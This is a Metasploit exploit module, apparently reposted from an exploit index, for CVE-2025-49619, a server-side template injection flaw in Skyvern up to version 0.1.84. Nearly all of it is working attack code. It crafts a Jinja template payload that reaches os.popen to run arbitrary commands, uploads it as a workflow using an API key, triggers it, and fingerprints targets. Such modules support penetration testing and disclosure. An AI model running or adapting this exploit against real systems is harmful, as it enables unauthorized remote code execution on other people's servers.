Exploit for Skyvern SSTI Remote Code Execution

## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-SKYVERN_SSTI_CVE_2025_49619-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Skyvern SSTI Remote Code Execution',
        'Description' => %q{
          This module exploits SSTI vulnerability in Skyvern<=0.1.84. The module requires API key to deliver requests and upload malicious workflow.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Cristian Branet', # researcher
          'msutovsky-r7' # module dev
        ],
        'References' => [
          [ 'EDB', '52335' ],
          [ 'URL', 'https://cristibtz.blog/posts/CVE-2025-49619/'],
          [ 'CVE', '2025-49619']
        ],
        'Targets' => [
          [
            'Linux Target',
            {
              'Platform' => %w[linux],
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'Payload' => { 'BadChars' => %(") },
        'DisclosureDate' => '2025-06-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('API_KEY', [true, 'API key for Skyvern', ''])
    ])
  end

  def create_workflow_json
    {
      title: Rex::Text.rand_text_alphanumeric(8),
      description: '',
      proxy_location: 'RESIDENTIAL',
      webhook_callback_url: '',
      persist_browser_session: false,
      model: nil,
      totp_verification_url: nil,
      workflow_definition: {
        parameters: [],
        blocks: [
          {
            label: 'block_1',
            continue_on_failure: false,
            block_type: 'task_v2',
            prompt: %<{% for x in ().__class__.__base__.__subclasses__() %}\n  {% if 'warning' in x.__name__ %}\n    {{ x()._module.__builtins__['__import__']('os').popen("#{payload.encoded}").read() }}\n  {% endif %}\n{% endfor %}>,
            url: '',
            max_steps: 25,
            totp_identifier: nil,
            totp_verification_url: nil
          }
        ]
      },
      is_saved_task: false
    }
  end

  def create_workflow
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/api/v1/workflows'),
      'headers' => { 'X-API-Key': datastore['API_KEY'] },
      'ctype' => 'application/json',
      'data' => create_workflow_json.to_json
    })
    fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200

    res_json = res.get_json_document

    @workflow_id = res_json.fetch('workflow_permanent_id', nil)

    fail_with(Failure::Unknown, 'Failed to upload workflow') unless @workflow_id
  end

  def trigger_workflow
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/api/v1/workflows/', @workflow_id, '/run'),
      'headers' => { 'X-API-Key': datastore['API_KEY'] },
      'ctype' => 'application/json',
      'data' => { workflow_id: @workflow_id }.to_json
    })

    fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200

    res_json = res.get_json_document

    fail_with(Failure::Unknown, 'Failed to upload workflow') unless res_json.fetch('workflow_id', nil) || res_json.fetch('workflow_run_id', nil)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/api/v1/workflows'),
      'headers' => { 'X-API-Key': datastore['API_KEY'] }
    })

    return Exploit::CheckCode::Safe('Target is probably not Skyvern') unless res&.code == 200

    res_json = res.get_json_document

    return Exploit::CheckCode::Unknown('Failed to get additional information - target is either not Skyvern or you used incorrect API key') unless res_json

    Exploit::CheckCode::Detected('Target is Skyvern')
  end

  def exploit
    create_workflow
    trigger_workflow
  end

end